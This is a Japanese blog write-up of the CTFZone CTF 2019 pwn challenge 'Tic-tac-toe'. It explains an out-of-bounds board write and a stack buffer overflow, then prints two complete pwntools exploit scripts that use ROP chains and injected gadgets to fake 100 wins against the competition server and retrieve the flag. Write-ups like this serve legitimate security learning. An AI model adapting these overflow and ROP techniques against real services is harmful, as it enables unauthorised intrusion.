newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 15.0】 Tic-tac-toe - CTFZone CTF 2019

 

 

 

 

 

f:id:smallkirby:20191202065933p:plain

scoreboard

 

 

 

 1: イントロ

いつぞや行われたロシアの野良CTF CTFZone CTF 2019

野良かと思ってたらDEFCON Qualsになっていた

 

今回はそのpwn問題 Tic-tac-toe

このwriteupを書く

慣れない形式でだいぶ渋かった




2: 表層解析

名前の示すとおりマルバツゲームを行う

 

配布ファイルは以下の2つ

tictactoe

Cで書かれたフロントサイドのサーバプログラム

後述するserver.py及びユーザと対話する

ポート8889を使う

./tictactoe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=292bbd6ea3adfb92195a360d1af03ce2757879ba, for GNU/Linux 3.2.0, with debug_info, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

debug-info付きのpwnバイナリ初めて見た

 

server.py

バックサイドで動くサーバプログラム

フロントサイドのサーバと対話する

ポート9998を使う




3: プログラムの概要

概要

単純な3x3のまるばつゲームを行うプログラム

f:id:smallkirby:20191201182515p:plain

play screen

コンピュータが常に先手であり
100勝せよと言われる

大前提としてまるばつゲームは先手必勝のゲームであり

先手が常に最善手を打てばプレイヤ側は引き分け以下が確定している

このプログラムに於いてはコンピュータは常に最善手を打つため

プログラムの脆弱性を突かないと100%勝てない

 

 

サーバの役割

 以下ではCで書かれたフロントサイドのサーバをFサーバpythonで書かれたバックサイドのサーバをBサーバと呼ぶ

 

Fサーバは char board[9] によって盤面を保持する

コンピュータ、ユーザの手を計算・入力したあとboardに代入する

 

実際に勝ち負け等の判定をするのはBサーバの方である

BサーバはFサーバとは独立して

盤面を始めとして、ユーザを識別するsessionIDや、連勝数を示すlevel等の内部状態を保持している

 

Fサーバは1ターン終わるごとにsend_state()によって

コンピュータとユーザの手及びsessionIDを送信する

Bサーバはそれを元にして勝敗の判定等を行い

まだゲームを続けるべきか、勝利処理をするべきか、勝ったからフラグを取りに来いと言うか等の指示を返す

なおsessionIDごとに内部情報は別々に保持されている

 

それからFサーバは簡単に落ちるが

Fサーバが落ちてもBサーバは動き続け、内部情報を保持し続ける

 

 

 

4: 使わなかった脆弱性 = 1勝はできる

 Fサーバでユーザの入力処理を行うのは以下の部分

        do {
            if ((('0' < move[0]) && (move[0] < ':')) && (sVar2 = strlen(move), sVar2 < 0x3)) {
                while( true ) {
                    if (board[(long)move[0] + -0x31] == '\0') {
                        return (int)move[0] + -0x31;
                    }
                    sVar2 = strlen(try_again_msg);
                    iVar1 = send_all(psock,try_again_msg,(int)sVar2);
                    if (iVar1 < 0x0) break;
                    iVar1 = recv_all(psock,move,0x2);
                    if (iVar1 < 0x0) {
                        puts("[-] Error geting player\'s move in get_human_move()");
                    /* WARNING: Subroutine does not return */
                        _exit(0x7);
                    }
                }
                puts("[-] Error seniding try-again message to user in get_human_move()");
                    /* WARNING: Subroutine does not return */
                _exit(0x7);
            }

 

最初のifでは入力が'1'~'9'に収まっているか&&入力文字数が2以下か&&そのマスが空いているかの3点をチェックしているが

この第3条件のみを満たさない場合、内部のwhileループに入る

そこでは第3条件のチェックが抜かされており、'1'~'9'以外の値を入力することが可能になっている

これを利用して例えば'.'(=='1'-0x3)を入力すると、board[-3]に打つことができる

 

コレのうまいところは、F/Bサーバで内部状態が別々に保持されているということ+Bサーバがpythonで書かれているということが利用できるとこである

send_state()に於いてユーザの入力が-3として送られた場合、Bサーバでは以下の処理がなされる

if (self.sessions[session]['field'][cmove] != 0) or (hmove != -1 and self.sessions[session]['field'][hmove] != 0):
            self.sessions[session]['field'] = [0, 0, 0, 0, 0, 0, 0, 0, 0]
            return (ERROR_MOVE,)
        self.sessions[session]['field'][cmove] = Xs
        if hmove != -1:
            self.sessions[session]['field'][hmove] = Os
        win = self.check_win(self.sessions[session]['field'])

 

ここでhmoveが -3 だとすると

pythonではvalidな入力となりboard[-3]==board[6]に入力されたことになる

(打つマスにコマがあるかの判定はFサーバの入力フェーズにのみあるため、上書きができる!)

 

これを利用すると

本来勝つことができない後手が以下のように勝利することができる

 

f:id:smallkirby:20191201185041p:plain

勝利

 

だがこの方法では

Fサーバに於いてboard[-3]に値を入れることになる

board[0~8]はゲームの度に0クリアされるが

範囲外の[-3]はクリアされないため2回目以降打つことができないため禁じ手となる

 

よって

却下!

 

 

 

5: 自明なBoFからROPでsessionIDを保ったまま連勝する

nameバッファのBoF

最初の名前入力で自明なBoFがある

(大変不甲斐ない話だが、上のやり方に固執してしまい、人に言われるまでその関数を無視していた。。。)

 

char tmp_name [0x10];
(...snipped...)
            iVar1 = recv_all(psock,tmp_name,0x800);
        if (iVar1 < 0x0) {
            close(psock);
            puts("[-] Error receiving name in process_game()");
            iVar1 = -0x1;
        }

 

0x7f0もオーバーフローできる

カス

 

これを用いてROPを組んでいく

(幸いPIE無効)

 

sessionIDをリークしたまま連勝する

こっからはごく普通のROPになる

但し騙すべきはFサーバではなくBサーバである

よってFサーバの処理はすっとばしてsend_state()のみを呼べばいい

 

その際連勝記録を保持するためにもsessionIDを引数に渡す必要がある

ここでtmp_name[0x800]自体はスタックにあり参照することが難しいため

tmp_nameがコピーされるnameを既知のアドレスとして使いつつROPする

 

なお pop rcx/ pop rdx に該当するガジェットが見つからなかったが

今回は幸いにもNX disabledなため

足りないガジェットは自分で作ればいい

(これものちにアクセスできる.bss領域のnameバッファに入れる)

 




100連勝するスクリプト

ということで以下のスクリプト: win_100times.pyで100勝できる

#!/usr/bin/env python
#encoding: utf-8;

#####################
# win_100times.py   #
#####################

from pwn import *
import sys

FILENAME = "./tictactoe"

rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
rhp2 = {'host':"localhost",'port':8889}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

show_flag = 0x40195f
case1 = 0x0401d94
case6 = 0x0401e82
init_array = 0x405000
pop_rdi = 0x0040310b
pop_rsi_r15 = 0x00403109
pop_r14_r15 = 0x00403108
name = 0x405770
reg_user = 0x4016b4
send3 = 0x401e31
send_message = 0x401768
server_ip = 0x405728
session = 0x405740
send_state = 0x402a74
jmp_rax = 0x0040120c

def exploit(conn):
  print("[+]session: "+dummy_session)
  conn.recvuntil("name: ")

  inj = dummy_session
  inj += "\x59\xc3" #pop rcx; ret
  inj += "\x5a\xc3" #pop rdx; ret
  inj += "\x58\xc3" #pop rax; ret
  inj += "A"*(0x30-len(inj))
  inj += "10.0.15.252\0"
  inj += "A"*(0x50-len(inj))
  inj += "A"*8 #rbp
  
  for i in range(1):
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(2)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(0)
    inj += p64(send_state)
    
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(5)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(1)
    inj += p64(send_state)
    
    inj += p64(pop_rdi) #server_ip用意
    inj += p64(name+0x30)
    inj += p64(pop_rsi_r15) #sessionID用意
    inj += p64(name)
    inj += p64(0)           
    inj += p64(name+0x20)  #hmove用意
    inj += p64(8)
    inj += p64(name+0x20+2) #cmove用意
    inj += p64(6)
    inj += p64(send_state)

   
  conn.sendline(inj) #発火
    

is_remote = 0

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
    is_remote = 1
else:
    conn = remote(rhp2['host'],rhp2['port'])


dummy_session = raw_input("dummy_session > ")[:32]
exploit(conn)

print("i:"+str(1))
if is_remote==1:
  for i in range(99):
    conn = remote(rhp1["host"],rhp1["port"])
    exploit(conn)
    print("i:"+str(i+2))

 





6: ご褒美にflagを貰う

ここまで行ったらBサーバに連絡してflagを貰う

(100勝するまでにflagを要求すると、お前チートしとるやろとキレられる)

 

ROPは

send_get_flag()を呼ぶ

これでFサーバからBサーバにflagを要求しflagを貰う

sessionIDは100連勝したやつにする

msgバッファはスタック上にあって参照できないためnameバッファを使う

自作のpop rdxガジェットはまだ使いたいし上書きされては困るため少しバッファをずらす

 

send_all()を呼ぶ

これでFサーバからローカルにメッセージ(flag)を落とす

 

 

 

 

以上をしてくれるスクリプトが以下の request_flag.py

#!/usr/bin/env python
#encoding: utf-8;

########################
# request_flag.py #
######################## from pwn import * import sys FILENAME = "./tictactoe" rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889} rhp2 = {'host':"localhost",'port':8889} context(os='linux',arch='amd64') binf = ELF(FILENAME) show_flag = 0x40195f case1 = 0x0401d94 case6 = 0x0401e82 init_array = 0x405000 pop_rdi = 0x0040310b pop_rsi_r15 = 0x00403109 pop_r14_r15 = 0x00403108 name = 0x405770 reg_user = 0x4016b4 send3 = 0x401e31 send_message = 0x401768 server_ip = 0x405728 session = 0x405740 send_state = 0x402a74 jmp_rax = 0x0040120c send_get_flag = 0x0402ce1 psock = 0x405720 send_all = 0x402f87 def exploit(conn): dummy_session = raw_input("dummy_session> ")[:32] conn.recvuntil("name: ") raw_input() inj = "\x5a\xc3" #pop rdx; ret inj += dummy_session inj += "A"*(0x30-len(inj)) inj += "10.0.15.252\0" inj += "A"*(0x50-len(inj)) inj += "A"*8 #rbp inj += p64(pop_rdi) inj += p64(name+0x30) inj += p64(pop_rsi_r15) inj += p64(name+2) inj += p64(0) inj += p64(name) inj += p64(name+2) inj += p64(send_get_flag) inj += p64(pop_rdi) inj += p64(4) inj += p64(pop_rsi_r15) inj += p64(name+2) inj += p64(0) inj += p64(name) inj += p64(0x40) inj += p64(send_all) conn.sendline(inj) #発火 if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()

 





7: exploit

1: 普通にncしてsessionIDを発行してメモる

2: win_100.pyで100勝する

3: request_flag.pyでflagをとる

 

ただし、Bサーバも127.0.0.1で動いていると思っていたら

実際は10.0.15.252で動いている

これはmora先輩がserver_ipをリークして見つけてくれました♥

 





8: 結果

 

f:id:smallkirby:20191201192222p:plain

flag

 

 

 

 

9: アウトロ

 TWCTFでflagが取れなかったので今回取れて凄い嬉しかった

 

newbieな自分にとってこういう割とガチでやるCTFで一番しんどいのは

長いこと自分が考えた問題をチームの他のメンバに取られることだと思っている

(強い人だとチーム第一なんだろうけど、newbieなので自分で取るというのに凄い固執しちゃう)

 

ということを言っていたら

先輩が自分のために問題を解かずに待っていてくれたのが凄い感動した

 

 

 

 

 

 

引越し準備も佳境です

 

 

続く